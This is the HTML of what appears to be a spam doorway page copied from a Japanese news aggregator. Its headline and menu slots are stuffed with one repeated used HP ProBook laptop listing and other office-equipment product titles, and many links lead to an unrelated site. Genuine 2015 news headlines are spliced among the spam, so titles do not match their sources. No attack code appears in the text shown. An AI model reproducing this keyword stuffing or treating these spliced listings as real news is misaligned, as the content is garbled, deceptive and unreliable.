<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta http-equiv="Content-Script-Type" content="text/javascript" />
<meta http-equiv="Content-Style-Type" content="text/css" />
<title>中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
</title>
<meta name="keywords" content="中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
" />
<meta name="description" content="送料無料/ライオン自動紙折り機LF-851N/折り位置が自動で変更可能な上位機種,中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
,ニッポースマート3Dプリンタ 遊作くん用ヒーターヘッド" />
<meta name="viewport" content="width=device-width; initial-scale=1.0;" />
<meta name="twitter:card" content="summary" />
<meta name="twitter:site" content="SL-G203N アカ◆MAXビーポップ200mm幅屋外シート屋外使用5年程度送料込み!" />
<meta property="og:title" content="カシオ ハンドスキャナHHS-19" />
<meta property="og:description" content="送料無料/紙枚数計数機ウチダテクノ カウントロンK-2,中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
,50巻セット(送料無料)★マックスラベルプリンター剥離ラベル★LP-S4046HVP●40x46mm●50巻●840枚/巻" />
<meta property="og:site_name" content="中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
" />
<link rel="stylesheet" type="text/css" href="http://ceron.jp/css.css" media="all" />
<link rel="stylesheet" type="text/css" href="http://ceron.jp/js/jquery-ui.css" media="all" />
<link rel="alternate" type="application/rss+xml" title="RSS" href="p-1297.html" />
<script type="text/javascript" src="./hippo1224.js"></script>p-1297.html"
</head>
<body>
<div id="main" class="top">
<div id="header">
<div id="header_inner">
<div id="leader">中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
,(中古品?完全整備済み)ニッポータイムレコーダー タイムボーイ8プラス グレー タイムカード?新品ラック付【中古】<span class="icon_set">
<a href="http://www.twitter.com/" target="_blank" title="twitter中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
" class="icon icon_twitter"></a>
<a href="https://www.facebook.com/" target="_blank" title="facebook中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
" class="icon icon_facebook"></a>
</span>
</div>
<div id="header_menu" onclick="toggle('drop_menu');">
<div id="drop_menu" style="display:none;">
<ul>
<li><a href="" class="selected">トップ</a></li><li><a href="">中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
</a></li><li><a href="">ニュース総合</a></li><li><a href="">SL-G210N カッパ-◆MAXビーポップ200mm幅屋外シート屋外使用5年程度送料込み!トップジャパン</a></li><li><a href="">エンタメ</a></li><li><a href="">スポーツ</a></li><li><a href="">IT</a></li><li><a href="">税?送料込み!F20XLナイガイ低床型半自動梱包機★音でお知らせ★</a></li><li><a href="">科学</a></li><li><a href="">SL-S201KN レッド◆MAXビーポップ200mm幅幅屋内用蛍光色シート送料込み!トップジャパン</a></li><li><a href="">動画</a></li><li><a href="">中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
</a></li><li><a href="">ネタ</a></li><li><a href="">中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
</a></li>
<li><a href='http://ceron.jp/registered.html'>メディア一覧</a></li>
<li><a href=''>ランキング</a></li>
<li><a href='https://twitter.com/' target='_blank'>Twitter</a></li>
<li><a href=''>ヘルプ</a></li>
<li><a href=''>設定</a></li>
<li><a href=''>中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
</a></li>
</ul>
</div>
</div>
<h1>
<a id="logo" href="" title="中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
">
<img class="logo_l" src="../img/logo.png" width="184px" height="54px" />
</h1>
<form action="/search" method="get" name="search" id="header_search" onsubmit="return headerSearchReady();">
<div id="input_box"><input type="text" id="header_search_textarea" class="search" name="q" value=""
placeholder="キーワード or URL"
onclick="if(!this.value){this.setAttribute('AutoComplete','on');}"
onkeyup="this.setAttribute('AutoComplete', 'off');"
onsubmit="this.setAttribute('AutoComplete', 'on');"
/></div>
<div class="search_button" onclick="document.getElementById('submitButton').click();"></div>
<input type="submit" style="display:none;" id="submitButton" />
</form>
</div><!--end header_inner-->
</div><!--end header-->
<div id="menu_bar" class="menu_bar">
<div id="menu_bar_inner" class="menu_bar_inner"><ul><li><a href="" class="selected">トップ</a></li><li><a href="">速報</a></li><li><a href="">送料無料 タイムレコーダー アマノタイムレコーダー MRS-700 (タイムカード100枚サービス中!) | タイムレコーダー タイムカード タイムレコーダー</a></li><li><a href="">政治経済</a></li><li><a href="">中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
</a></li><li><a href="">スポーツ</a></li><li><a href="">IT</a></li><li><a href="">海外</a></li><li><a href="">科学</a></li><li><a href="">(レジスター) カシオレジスターNM-2000-25SW/ホワイト ロール紙10巻付き CASIO★ネットレジ!</a></li><li><a href="">動画</a></li><li><a href="">中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
</a></li><li><a href="">ネタ</a></li><li><a href="">すべて</a></li></ul></div>
</div><!-- /menu_bar -->
<div id="fixed_header" class="menu_bar" style="margin-top:-240px;">
<div id="fixed_header_inner" class="menu_bar_inner">
<a href="/"><img src="../img/logo.png" width="92px" height="27px" /></a>
</div>
</div>
<div id="field">
<div id="field_inner">
<div id="main_column">
<div id="main_column_inner"><div id="pan"></div><a name="area_1"></a>
<div class="item_list_box " id="area_1">
<div class="list_title">
<div class="controler"></div>
<h2><a href="">ニュース総合</a></h2>
</div>
<div class='pickup'><div class="item detail_item">
<div class="item_status">
<span class="link_num over500">528<span>コメント</span></span>
<span class="date date_new">4 時間前 </span>
<a href="http://headlines.yahoo.co.jp/hl?a=20151226-00050002-yom-soci" target="_blank" class="item_direct"> - headlines.yahoo.co.jp</a></div>
<div class="item_title"><a href="">中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
,(中古品?完全整備済み)美品ニッポータイムレコーダー タイムボーイ7グリーン箱付き タイムカード?新品ラック付【中古】,中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
,送料無料/ライオン自動紙折り機LF-821N/クロス折りパーツ付連続使用可能な上級機!</a></div>
<div class="thumbnail"><a class="trimming imgbox" href="http://ceron.jp/url/headlines.yahoo.co.jp/hl?a=20151226-00050002-yom-soci" style="width:120px;height:120px;"><img src="http://img.ceron.jp/db592e52fb3695e73bb88902c6c90a5b239cd30b.jpg" width="120" height="120" onerror="this.parentNode.style.display='none'" style="left:0px" /></a></div><p>中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
,★マックス300mm幅BEPOPシート★屋内用 ビーポップ/マックスカッティングマシン用,中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
,中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
,(送料無料)明光商会MSシュレッダーMSQ-58CM</span>...[<a href="http://headlines.yahoo.co.jp/hl?a=20151226-00050002-yom-soci" target="_blank">続きを読む</a>]</p>
</div>
</div><span class='debug' style='display:none;'><!--score: 70 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over100">398<span>コメント</span></span>
<span class="date date_new">4 時間前 </span>
<a href="http://headlines.yahoo.co.jp/hl?a=20151226-00000062-san-sctch" target="_blank" class="item_direct"> - headlines.yahoo.co.jp</a></div>
<div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020410583v73ur.html">http://factory.aedew.com/images/Core2Duo/020410583v73ur.html</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 55 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over100">198<span>コメント</span></span>
<span class="date date_new">5 時間前 </span>
<a href="http://www.yomiuri.co.jp/national/20151226-OYT1T50002.html" target="_blank" class="item_direct"> - www.yomiuri.co.jp</a></div>
<div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020410584v69jt.html">http://factory.aedew.com/images/Core2Duo/020410584v69jt.html</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 36 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over100">194<span>コメント</span></span>
<span class="date date_new">6 時間前 </span>
<a href="http://www.sankei.com/life/news/151226/lif1512260005-n1.html" target="_blank" class="item_direct"> - www.sankei.com</a></div>
<div class="item_title"><a href="">中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
,送料無料/ライオン 自動ミシン目カッター きりとれーる LP-117,SL-G207N インクブルー◆MAXビーポップ200mm幅屋外シート屋外使用5年程度送料込み!トップジャパン</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 30 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over100">191<span>コメント</span></span>
<span class="date date_new">3 時間前 </span>
<a href="http://www.asahi.com/articles/ASHDT662ZHDTTPJB01B.html" target="_blank" class="item_direct"> - www.asahi.com</a></div>
<div class="item_title"><a href="">中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
,(送料無料)レジスター カシオ/CASIO QT-6000 タッチスクリーン対応スタンドアローンレジスターセット</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 29 --></span>
<div class="more"><a href="http://www.yomiuri.co.jp/latestnews/?from=ygnav2">ニュース総合 をもっと見る</a></div>
</div>
<a name="area_2"></a>
<div class="item_list_box " id="area_2">
<div class="list_title">
<div class="controler"></div>
<h2><a href="http://factory.aedew.com/images/Core2Duo/020411279v35di.html">http://factory.aedew.com/images/Core2Duo/020411279v35di.html</a></h2>
</div>
<div class='pickup'><div class="item detail_item">
<div class="item_status">
<span class="link_num over100">146<span>コメント</span></span>
<span class="date date_new">6 時間前 </span>
<a href="http://www.sankei.com/politics/news/151226/plt1512260001-n1.html" target="_blank" class="item_direct"> - www.sankei.com</a></div>
<div class="item_title"><a href="">【岸田外相訪韓】元慰安婦支援で日韓“折半”出資案が浮上 韓国の蒸し返しを封じる狙い(1/2ページ) - 産経ニュース</a></div>
<div class="thumbnail"><a class="trimming imgbox" href="http://ceron.jp/url/www.sankei.com/politics/news/151226/plt1512260001-n1.html" style="width:120px;height:120px;"><img src="http://img.ceron.jp/3d712f4a9f0d5a17af803c20b36a4d9d8bec0ea2.jpg" width="120" height="170" onerror="this.parentNode.style.display='none'" style="left:0px" /></a></div><p>中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
,amano/アマノ 電子タイムスタンプPIX-200/送料無料/電波時計タイプ,中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
,(送料無料)東芝TEC電子黒板?コピーボードTB-8201-T普通紙プリンタタイプ,中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
,マイコール ワイヤレスコールシステム「スマジオ」 送信機10台セット ホワイト/ブルー</span>...[<a href="http://www.sankei.com/politics/news/151226/plt1512260001-n1.html" target="_blank">続きを読む</a>]</p>
</div>
</div><span class='debug' style='display:none;'><!--score: 27 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over20">69<span>コメント</span></span>
<span class="date date_new">7 時間前 </span>
<a href="http://www.sankei.com/politics/news/151226/plt1512260002-n1.html" target="_blank" class="item_direct"> - www.sankei.com</a></div>
<div class="item_title"><a href="">【辺野古移設問題】活動家を初の起訴 シュワブ前で機動隊員を蹴る 反対派の活動実態を解明へ(1/2ページ) - 産経ニュース</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 16 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over100">129<span>コメント</span></span>
<span class="date date_new">9 時間前 </span>
<a href="http://www.yomiuri.co.jp/world/20151225-OYT1T50134.html" target="_blank" class="item_direct"> - www.yomiuri.co.jp</a></div>
<div class="item_title"><a href="">中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
,12巻セット★ELP-L6257N-17★マックスラベルプリンター消耗品専用ラベル(バーコード)1巻あたり1780円!</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 13.5 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over100">129<span>コメント</span></span>
<span class="date date_new">9 時間前 </span>
<a href="http://headlines.yahoo.co.jp/hl?a=20151225-00050134-yom-int" target="_blank" class="item_direct"> - headlines.yahoo.co.jp</a></div>
<div class="item_title"><a href="/url/headlines.yahoo.co.jp/hl?a=20151225-00050134-yom-int">ソウル日本大使館前の少女像、韓国が移転を検討 (読売新聞) - Yahoo!ニュース</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 13 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over20">86<span>コメント</span></span>
<span class="date date_new">17 時間前 </span>
<a href="http://headlines.yahoo.co.jp/hl?a=20151225-00000001-jct-soci" target="_blank" class="item_direct"> - headlines.yahoo.co.jp</a></div>
<div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020411028s02cc.html">http://factory.aedew.com/images/Core2Duo/020411028s02cc.html</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 10 --></span>
<div class="more"><a href="http://news.yahoo.co.jp/hl?c=bus">政治・経済 をもっと見る</a></div>
</div>
<a name="area_5"></a>
<div class="item_list_box " id="area_5">
<div class="list_title">
<div class="controler"></div>
<h2><a href="">IT・テクノロジー</a></h2>
</div>
<div class='pickup'><div class="item detail_item">
<div class="item_status">
<span class="link_num over20">24<span>コメント</span></span>
<span class="date date_new">6 時間前 </span>
<a href="http://pc.watch.impress.co.jp/docs/column/mobiler/20151226_737137.html" target="_blank" class="item_direct"> - pc.watch.impress.co.jp</a></div>
<div class="item_title"><a href="">【モバイラーが憧れた名機を今風に蘇らせる】ソニー「バイオノート505エクストリーム」 ~最初にして最後の究極。これぞモバイラーのステータス - PC Watch</a></div>
<div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/d4cd9a68ed5dd7ad42cacbc69a1cf4fe257d279e.jpg" width="160" height="120" onerror="this.parentNode.style.display='none'" style="left:-20px" /></a></div><p>HDDは東芝製の5mm厚の1.8インチタイプ。これもフレキケーブルで接続されている
天板および底面カバーだが、店頭モデルでは「<span>ニッケル強化カーボンモールド」、ソニースタイル専用の直販モデルでは「カーボンファイバー積層板」を採用するとされている。今回入手したのは店頭モデルで、前者を採用している。“ニッケル強化カーボンモ</span>...[<a href="http://pc.watch.impress.co.jp/docs/column/mobiler/20151226_737137.html" target="_blank">続きを読む</a>]</p>
</div>
</div><span class='debug' style='display:none;'><!--score: 4 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over3">15<span>コメント</span></span>
<span class="date date_new">1 時間前 </span>
<a href="http://akiba-pc.watch.impress.co.jp/docs/news/news/20151226_737187.html" target="_blank" class="item_direct"> - akiba-pc.watch.impress.co.jp</a></div>
<div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020411051q81ov.html">http://factory.aedew.com/images/Core2Duo/020411051q81ov.html</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 3 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over20">97<span>コメント</span></span>
<span class="date date_new">22 時間前 </span>
<a href="http://www.itmedia.co.jp/news/articles/1512/25/news108.html" target="_blank" class="item_direct"> - www.itmedia.co.jp</a></div>
<div class="item_title"><a href="">50巻セット(送料無料)★マックスラベルプリンター専用ラベル★LP-S5276VP●52x76mm●50巻●520枚/巻</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 3 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over20">88<span>コメント</span></span>
<span class="date date_new">20 時間前 </span>
<a href="http://www.itmedia.co.jp/news/articles/1512/25/news130.html" target="_blank" class="item_direct"> - www.itmedia.co.jp</a></div>
<div class="item_title"><a href="http://ceron.jp/url/www.itmedia.co.jp/news/articles/1512/25/news130.html">4文字しか使えないコミュニケーションアプリ「Ping」 - ITmedia ニュース</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 2.5 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over3">13<span>コメント</span></span>
<span class="date date_new">13 時間前 </span>
<a href="http://akiba-pc.watch.impress.co.jp/docs/wakiba/find/20151225_737149.html" target="_blank" class="item_direct"> - akiba-pc.watch.impress.co.jp</a></div>
<div class="item_title"><a href="">SL-S203KN オレンジ◆MAXビーポップ200mm幅屋内用蛍光色シート送料込み!,中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 1 --></span>
<div class="more"><a href="">IT・テクノロジー をもっと見る</a></div>
</div>
<a name="area_7"></a>
<div class="item_list_box " id="area_7">
<div class="list_title">
<div class="controler"></div>
<h2><a href="">科学・学問</a></h2>
</div>
<div class="item">
<div class="item_status">
<span class="link_num over20">22<span>コメント</span></span>
<span class="date date_new">3 時間前 </span>
<a href="http://nlab.itmedia.co.jp/nl/articles/1512/26/news025.html" target="_blank" class="item_direct"> - nlab.itmedia.co.jp</a></div>
<div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020411119d83xl.html">http://factory.aedew.com/images/Core2Duo/020411119d83xl.html</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 3 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over3">15<span>コメント</span></span>
<span class="date date_new">13 時間前 </span>
<a href="http://www.asahi.com/articles/ASHDT7KWMHDTPTIL02V.html" target="_blank" class="item_direct"> - www.asahi.com</a></div>
<div class="item_title"><a href="">阪大院教授らの研究費不正経理、2.7億円 大学が発表:朝日新聞デジタル</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 1 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over3">14<span>コメント</span></span>
<span class="date date_new">14 時間前 </span>
<a href="http://karapaia.livedoor.biz/archives/52207962.html" target="_blank" class="item_direct"> - karapaia.livedoor.biz</a></div>
<div class="item_title"><a href="">(送料込み)★マックスラベルプリンター専用ラベル★レジン系インクリボンLP-IR110R-B●110mm×300m●10巻</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 1 --></span>
<div class="more"><a href="">科学・学問 をもっと見る</a></div>
</div>
<a name="area_9"></a>
<div class="item_list_box " id="area_9">
<div class="list_title">
<div class="controler"></div>
<h2><a href="">2chまとめ</a></h2>
</div>
<div class='pickup'><div class="item detail_item">
<div class="item_status">
<span class="link_num over20">27<span>コメント</span></span>
<span class="date date_new">7 時間前 </span>
<a href="http://alfalfalfa.com/articles/140445.html" target="_blank" class="item_direct"> - alfalfalfa.com</a></div>
<div class="item_title"><a href="">書店「Amazonばっかで本買うのやめてや!!」←これ | 2ちゃんねるスレッドまとめブログ - アルファルファモザイク</a></div>
<div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/3b61c537fc58f529bf419a5c974cab5d82588790.jpg" width="213" height="120" onerror="this.parentNode.style.display='none'" style="left:-46px" /></a></div><p>14:風吹けば名無し@\(^o^)/2015/12/25(金) 10:07:08.94ID:28CoKVMbaXMAS.net焼<span>肉屋の名前みたい34:風吹けば名無し@\(^o^)/2015/12/25(金) 10:09:31.60ID:uAnL49f+0XMAS.net普通に本屋で買ってるぞ54:風吹けば名無し@\(^o^)/2015/12/25(金) 10</span>...[<a href="" target="_blank">続きを読む</a>]</p>
</div>
</div><span class='debug' style='display:none;'><!--score: 5 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over3">18<span>コメント</span></span>
<span class="date date_new">2 時間前 </span>
<a href="http://blog.esuteru.com/archives/8449829.html" target="_blank" class="item_direct"> - blog.esuteru.com</a></div>
<div class="item_title"><a href="">【は?】「『仏滅』『大安』などが書かれたカレンダーを回収します。差別につながるので」 ← 意味不明すぎて理解できないんだが : はちま起稿</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 4.5 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over20">66<span>コメント</span></span>
<span class="date date_new">14 時間前 </span>
<a href="http://blog.livedoor.jp/dqnplus/archives/1864971.html" target="_blank" class="item_direct"> - blog.livedoor.jp</a></div>
<div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020410525x60jj.html">http://factory.aedew.com/images/Core2Duo/020410525x60jj.html</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 4.5 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over3">14<span>コメント</span></span>
<span class="date date_new">2 時間前 </span>
<a href="http://alfalfalfa.com/articles/140453.html" target="_blank" class="item_direct"> - alfalfalfa.com</a></div>
<div class="item_title"><a href="">SEALDs「電車で携帯のゲームやるのは知能が低い」 | 2ちゃんねるスレッドまとめブログ - アルファルファモザイク</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 3 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over3">16<span>コメント</span></span>
<span class="date date_new">5 時間前 </span>
<a href="http://blog.esuteru.com/archives/8449718.html" target="_blank" class="item_direct"> - blog.esuteru.com</a></div>
<div class="item_title"><a href="">中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
,(中古品?整備済み)セイコータイムレコーダー QR-4550タイムカード?新品ラック付【中古】</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 2 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over3">14<span>コメント</span></span>
<span class="date date_new">6 時間前 </span>
<a href="http://blog.livedoor.jp/kinisoku/archives/4554064.html" target="_blank" class="item_direct"> - blog.livedoor.jp</a></div>
<div class="item_title"><a href="">【画像】おい!クリスマスだしこの娘と野球拳しないかい:キニ速</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 2 --></span>
<div class="more"><a href="">2chまとめ をもっと見る</a></div>
</div>
<a name="area_10"></a>
<div class="item_list_box " id="area_10">
<div class="list_title">
<div class="controler"></div>
<h2><a href="">ネタ・話題・トピック</a></h2>
</div>
<div class='pickup'><div class="item detail_item">
<div class="item_status">
<span class="link_num over20">90<span>コメント</span></span>
<span class="date date_new">15 時間前 </span>
<a href="http://togetter.com/li/917078" target="_blank" class="item_direct"> - togetter.com</a></div>
<div class="item_title"><a href="">【速報】クリスマスに新たな山下達郎伝説が生まれた!? 「Gの音が出ない」と開始90分後にライブを中止 - Togetterまとめ</a></div>
<div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/9ff1006fb7b6091ba48b957edf5a63cce85e1079.jpg" width="120" height="159" onerror="this.parentNode.style.display='none'" style="left:0px" /></a></div><p>山下達郎盛岡コンサート、90分やったところでまさかの中止。
本人が喉の調子に納得出来ないとのこと。
来年に無料で再演しにくるとの<span>ことで、伝説に立ち合えたのはラッキーだが、クリスマスイブ聞けなかった。</span>...[<a href="" target="_blank">続きを読む</a>]</p>
</div>
</div><span class='debug' style='display:none;'><!--score: 6.5 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over20">21<span>コメント</span></span>
<span class="date date_new">6 時間前 </span>
<a href="http://nlab.itmedia.co.jp/nl/articles/1512/26/news015.html" target="_blank" class="item_direct"> - nlab.itmedia.co.jp</a></div>
<div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020410430r90bt.html">http://factory.aedew.com/images/Core2Duo/020410430r90bt.html</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 4 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over3">15<span>コメント</span></span>
<span class="date date_new">3 時間前 </span>
<a href="http://togetter.com/li/917238" target="_blank" class="item_direct"> - togetter.com</a></div>
<div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020411281d64lo.html">http://factory.aedew.com/images/Core2Duo/020411281d64lo.html</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 3 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over20">80<span>コメント</span></span>
<span class="date">2015-12-25 12:31</span>
<a href="http://togetter.com/li/916919" target="_blank" class="item_direct"> - togetter.com</a></div>
<div class="item_title"><a href="">(中古品) 日焼けあり アマノタイムレコーダー EX3000Ncホワイト タイムカード?新品ラック付【中古】</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 2.5 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over20">62<span>コメント</span></span>
<span class="date">2015-12-25 08:36</span>
<a href="http://d.hatena.ne.jp/ikkou2otosata0/touch/20151225/1450992232" target="_blank" class="item_direct"> - d.hatena.ne.jp</a></div>
<div class="item_title"><a href="">オッケー、キリスト。ところで、あたしの誕生日の話も聞いとく? - 私の時代は終わった。</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 2 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over3">17<span>コメント</span></span>
<span class="date date_new">12 時間前 </span>
<a href="http://togetter.com/li/917157" target="_blank" class="item_direct"> - togetter.com</a></div>
<div class="item_title"><a href="">中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
,SL-G209N ゴールド◆MAXビーポップ200mm幅屋外シート屋外使用5年程度送料込み!トップジャパン</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 1.5 --></span>
<div class="more"><a href="">ネタ・話題・トピック をもっと見る</a></div>
</div>
<script type="text/javascript">
//現在のセッティングを読み込み
